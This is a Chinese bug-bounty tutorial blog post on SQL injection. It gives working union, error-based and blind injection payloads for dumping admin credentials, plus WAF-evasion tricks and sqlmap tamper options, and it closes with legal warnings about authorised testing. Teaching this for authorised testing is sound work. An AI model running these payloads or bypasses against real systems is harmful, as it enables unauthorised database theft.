【SRC漏洞挖掘系列】第03期:SQL注入——从“拖库”到“掌舵”的终极奥义

上期回顾 :我们用 XSS 偷了 Cookie,用 CSRF 改了密码。今天要聊的是漏洞界的"常青树"------SQL注入(SQLi)

如果说 XSS 是小偷小摸,那 SQL 注入就是直接开着卡车进了金库。💰


一、什么是 SQL 注入?(通俗版)

想象一下,你去餐厅点餐。

正常情况

你对服务员说:"我要一份牛排(id=1)。"

服务员原话复述给厨房:SELECT * FROM food WHERE id = 1;

注入情况

你对服务员说:"我要一份牛排,顺便把你们老板的账本拿来(id=1 AND 1=1)。"

服务员是个傻子,原封不动传给厨房:SELECT * FROM food WHERE id = 1 AND 1=1;

结果:账本(数据库)被你看到了。


二、SRC 实战中的三大杀招

在现在的 SRC 中,单纯的 ' or 1=1 --很难见了,厂商都有防火墙(WAF)。我们需要更精细的手法。

1. 联合查询(Union Base):最直观的"拖库"

适用场景:页面有"回显",即能把数据库里的数据打印在网页上。

实战案例 :某新闻站 news.php?id=1

  • Step 1: 测字段数

    不断尝试 order by 1, 2, 3...

    news.php?id=1 order by 5(正常)

    news.php?id=1 order by 6(报错)

    结论:表有 5 个字段。

  • Step 2: 爆数据

    news.php?id=-1 union select 1,2,3,4,5

    (把 id 设为 -1 是为了让前半句查空,显示后半句的结果)

    页面上出现了数字 23,说明这两个位置可以显示数据。

  • Step 3: 拿管理员密码

    news.php?id=-1 union select 1,username,password,4,5 from admin

    结果:页面上直接显示了管理员的账号和密码(通常是MD5加密)。

2. 报错注入(Error Base):不需要回显的"窃听"

适用场景:页面不显示数据,但会告诉你"SQL语句执行错误"。

经典函数updatexml(), extractvalue()

  • Payload:

    sql 复制代码
    ' and updatexml(1, concat(0x7e, (select database()), 0x7e), 1) --
  • 解释

    • updatexml本来是用来修改XML的。

    • 我们给它传了一个错误的格式 (~),它会报错。

    • 报错的时候,它会把括号里 (select database())的结果(当前数据库名)吐出来。

3. 盲注(Blind Injection):最磨人的"猜谜"

适用场景:页面只显示"正常"或"异常",没有具体数据,也不报错。

原理:问数据库是不是"对"的。

if(1=1, sleep(5), null)------ 如果是真的,就睡5秒。

  • 实战

    你输入:id=1 and if(ascii(substr(database(),1,1))=115,sleep(5),null)

    如果页面卡了5秒,说明数据库名的第一个字母 ASCII 码是 115(即 's')。

    SRC提示 :盲注太慢,容易被封 IP,但在WAF 严格的情况下,这是唯一的出路。


三、绕过 WAF 的"猥琐流"技巧

现在的 SRC 都有云 WAF(阿里云盾、腾讯云盾),直接 union select会被秒拦。

1. 注释符大法

sql 复制代码
/*!50001 union*/ select  -- 版本内联注释,欺骗老版本解析器
union/*!--+/*%0a/*//*!select*/ 1,2,3

2. 编码绕过

  • URL编码%75%6e%69%6f%6e(union)

  • 十六进制 :把表名 admin转换成 0x61646d696e

3. 分块传输(Chunked Transfer)

这是绕过 关键词过滤​ 的神技。

原理:把 POST 数据包拆成一小块一小块发给服务器,WAF 拼不起来,就检测不到 union select,但后端 PHP/JAVA 会把它拼起来执行。

  • 工具 :Burp Suite 插件 Chunked coding converter

四、SQLMap 的正确打开方式(SRC 专用)

新手才直接 sqlmap -u url,老手都是这样玩的:

  1. 伪装身份

    bash 复制代码
    sqlmap -u "url" --random-agent --delay 1

    (随机 User-Agent,延迟1秒,防止被封 IP)

  2. 指定参数

    bash 复制代码
    sqlmap -u "url" -p "id" --level 3

    (只测 id 参数,减少流量噪音)

  3. Tamper 脚本(绕过 WAF 的核心):

    bash 复制代码
    sqlmap -u "url" --tamper=space2comment,charencode

五、SRC 报告里的"加分项"与"雷区"

行为 结果
只报 Root 权限 厂商喜欢,给钱爽快。
**报 information_schema**​ 厂商会骂你,因为这是系统库,没什么用。
**读写文件 (into outfile)**​ **高风险!**​ 未经授权尝试写文件可能导致你被请去喝茶(违法)。
拖取大量真实用户数据 **绝对禁止!**​ 证明漏洞存在即可,切勿泄露用户隐私。

正确做法

证明你能读取 admin表的用户名即可,或者读取系统版本。截图打码,保护用户数据。


六、互动与思考

💬 互动话题

大家在挖 SQL 注入时,遇到过最奇葩的 WAF 拦截页面是什么样的?是直接把 IP 封了,还是返回一首诗?😂


⚠️ 法律红线警示

  1. 严禁 利用 SQL 注入漏洞进行"拖库"(下载大量用户数据),这涉嫌侵犯公民个人信息罪

  2. 严禁 尝试 drop tableinto outfile等具有破坏性或写入权限的操作。

  3. 验证即可:只需证明可以读取数据库名、版本号或少量非敏感数据即可停止。

  4. 授权测试:所有测试必须在 SRC 平台报备的资产范围内进行。

    **白帽子的底线是保护数据,而不是窃取数据。做一个有操守的技术人。**​ 🙏

下一期,我们将聊聊 **"文件上传与解析漏洞"**​ ------ 如何把一张图片变成控制服务器的"特洛伊木马"?敬请期待!

相关推荐
青春万岁!!7 小时前
hiveSQL脚本性能优化-减少表扫描
大数据·hive·sql
半夜修仙7 小时前
Redis中String数据类型的常见命令
数据库·redis·缓存
南境十里·墨染春水7 小时前
讲讲libevent底层机制
数据库
念恒123068 小时前
MySQL表的约束(上)
数据库·mysql
x***r1518 小时前
heidisql数据库客户端使用步骤详解(附HeidiSQL连接MySQL与SQL执行教程)
数据库·sql·mysql
skilllite作者8 小时前
# EXboys/skilllite — 安全的AI智能体演进:介绍 SkillLite
人工智能·安全
星幻元宇VR8 小时前
VR消防安全行走平台打造真实火灾逃生体验
科技·学习·安全·vr·虚拟现实
段一凡-华北理工大学8 小时前
2026 高炉炼铁智能化技术全景与演进路径~系列文章04:云-边-端协同架构:高炉智能化底层支撑体系
数据库·人工智能·深度学习·神经网络·安全·架构·高炉炼铁智能化
青山师8 小时前
B+树与InnoDB索引深度解析:数据库索引的底层原理与工程实践
数据结构·数据库·b树·性能优化·b+树·索引优化·mysql性能